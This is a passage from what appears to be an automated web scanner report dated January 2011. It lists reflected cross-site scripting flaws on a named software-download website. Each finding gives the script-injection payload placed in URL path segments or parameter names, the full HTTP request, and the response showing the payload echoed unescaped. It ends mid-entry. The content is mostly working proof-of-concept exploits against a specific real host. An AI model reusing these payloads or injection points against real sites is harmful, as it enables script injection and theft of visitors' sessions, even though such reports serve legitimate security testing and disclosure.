The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5f529"><script>alert(1)</script>0751029a53e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-windows-live-messenger-2009-download-exrxqhff.html?5f529"><script>alert(1)</script>0751029a53e=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:17:15 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61789
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-windows-live-messenger-2009-download-exrxqhff.html?5f529"><script>alert(1)</script>0751029a53e=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52513"><script>alert(1)</script>afca5fe7516 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads52513"><script>alert(1)</script>afca5fe7516/t-64-bit-windows-live-messenger-2011-download-rcmfqzer.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:23:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21344
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloads52513"><script>alert(1)</script>afca5fe7516/t-64-bit-windows-live-messenger-2011-download-rcmfqzer.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6937"><script>alert(1)</script>33bac6575a4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-windows-live-messenger-2011-download-rcmfqzer.htmlb6937"><script>alert(1)</script>33bac6575a4 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:23 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60335
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-windows-live-messenger-2011-download-rcmfqzer.htmlb6937"><script>alert(1)</script>33bac6575a4"/> ...[SNIP]...
4.1791. http://www.x64bitdownload.com/downloads/t-64-bit-windows-live-messenger-2011-download-rcmfqzer.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1f66"><script>alert(1)</script>7df9bf07e5d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-windows-live-messenger-2011-download-rcmfqzer.html?c1f66"><script>alert(1)</script>7df9bf07e5d=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:18:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60341
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-windows-live-messenger-2011-download-rcmfqzer.html?c1f66"><script>alert(1)</script>7df9bf07e5d=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e9633"><script>alert(1)</script>8efe63aeaeb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloadse9633"><script>alert(1)</script>8efe63aeaeb/t-64-bit-windows-vista-service-pack-1-standalone-for-x64-download-jvbvrxvs.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:25:35 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21364
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloadse9633"><script>alert(1)</script>8efe63aeaeb/t-64-bit-windows-vista-service-pack-1-standalone-for-x64-download-jvbvrxvs.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 74e97"><script>alert(1)</script>f344c05b142 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-windows-vista-service-pack-1-standalone-for-x64-download-jvbvrxvs.html74e97"><script>alert(1)</script>f344c05b142 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:27:30 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54573
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-windows-vista-service-pack-1-standalone-for-x64-download-jvbvrxvs.html74e97"><script>alert(1)</script>f344c05b142"/> ...[SNIP]...
4.1794. http://www.x64bitdownload.com/downloads/t-64-bit-windows-vista-service-pack-1-standalone-for-x64-download-jvbvrxvs.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa475"><script>alert(1)</script>9b2f637b814 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-windows-vista-service-pack-1-standalone-for-x64-download-jvbvrxvs.html?aa475"><script>alert(1)</script>9b2f637b814=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:22:15 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54579
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-windows-vista-service-pack-1-standalone-for-x64-download-jvbvrxvs.html?aa475"><script>alert(1)</script>9b2f637b814=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c71c6"><script>alert(1)</script>a82c103a4fb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloadsc71c6"><script>alert(1)</script>a82c103a4fb/t-64-bit-yahoo-messenger-download-kgzterdi.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:21:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21332
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloadsc71c6"><script>alert(1)</script>a82c103a4fb/t-64-bit-yahoo-messenger-download-kgzterdi.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 368b8"><script>alert(1)</script>79d2914fb55 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-yahoo-messenger-download-kgzterdi.html368b8"><script>alert(1)</script>79d2914fb55 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:22:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 66879
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-yahoo-messenger-download-kgzterdi.html368b8"><script>alert(1)</script>79d2914fb55"/> ...[SNIP]...
4.1797. http://www.x64bitdownload.com/downloads/t-64-bit-yahoo-messenger-download-kgzterdi.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d89e3"><script>alert(1)</script>4467668b615 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-yahoo-messenger-download-kgzterdi.html?d89e3"><script>alert(1)</script>4467668b615=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:18:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 66885
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-yahoo-messenger-download-kgzterdi.html?d89e3"><script>alert(1)</script>4467668b615=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5cd51"><script>alert(1)</script>917ba9ab7e5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /drivers5cd51"><script>alert(1)</script>917ba9ab7e5/ HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:29:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21283
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/drivers5cd51"><script>alert(1)</script>917ba9ab7e5/" /> ...[SNIP]...
4.1799. http://www.x64bitdownload.com/drivers/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/drivers/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 40a41"><script>alert(1)</script>03ddb5827b6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /drivers/?40a41"><script>alert(1)</script>03ddb5827b6=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 49441
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/drivers/?40a41"><script>alert(1)</script>03ddb5827b6=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b223c"><script>alert(1)</script>5bbc5b84076 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /driversb223c"><script>alert(1)</script>5bbc5b84076/64-bit-vista-drivers.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:29:11 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21308
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/driversb223c"><script>alert(1)</script>5bbc5b84076/64-bit-vista-drivers.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1b85"><script>alert(1)</script>04e93731252 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /drivers/64-bit-vista-drivers.htmla1b85"><script>alert(1)</script>04e93731252 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:30:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22vista%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22vista%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63617
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/drivers/64-bit-vista-drivers.htmla1b85"><script>alert(1)</script>04e93731252" /> ...[SNIP]...
4.1802. http://www.x64bitdownload.com/drivers/64-bit-vista-drivers.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/drivers/64-bit-vista-drivers.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a8f2"><script>alert(1)</script>1e0be29bacc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /drivers/64-bit-vista-drivers.html?9a8f2"><script>alert(1)</script>1e0be29bacc=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22vista%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22vista%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63620
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/drivers/64-bit-vista-drivers.html?9a8f2"><script>alert(1)</script>1e0be29bacc=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 288dc"><script>alert(1)</script>a9da18bcc18 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /featured-software.html288dc"><script>alert(1)</script>a9da18bcc18 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:26:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21297
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/featured-software.html288dc"><script>alert(1)</script>a9da18bcc18" /> ...[SNIP]...
4.1804. http://www.x64bitdownload.com/featured-software.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/featured-software.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0316"><script>alert(1)</script>cac9cd247c2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /featured-software.html?a0316"><script>alert(1)</script>cac9cd247c2=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:23:40 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:33:44 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 29191
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/featured-software.html?a0316"><script>alert(1)</script>cac9cd247c2=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9880a"><script>alert(1)</script>87d32f52238 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /js9880a"><script>alert(1)</script>87d32f52238/general.js HTTP/1.1 Host: www.x64bitdownload.com Proxy-Connection: keep-alive Referer: http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 14:59:03 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21288
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/js9880a"><script>alert(1)</script>87d32f52238/general.js" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c9a0"><script>alert(1)</script>0ea982c7227 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /js/general.js4c9a0"><script>alert(1)</script>0ea982c7227 HTTP/1.1 Host: www.x64bitdownload.com Proxy-Connection: keep-alive Referer: http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 14:59:07 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21288
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/js/general.js4c9a0"><script>alert(1)</script>0ea982c7227" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a62f2"><script>alert(1)</script>4ce7a17d51f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /jsa62f2"><script>alert(1)</script>4ce7a17d51f/rating.js HTTP/1.1 Host: www.x64bitdownload.com Proxy-Connection: keep-alive Referer: http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73
Response
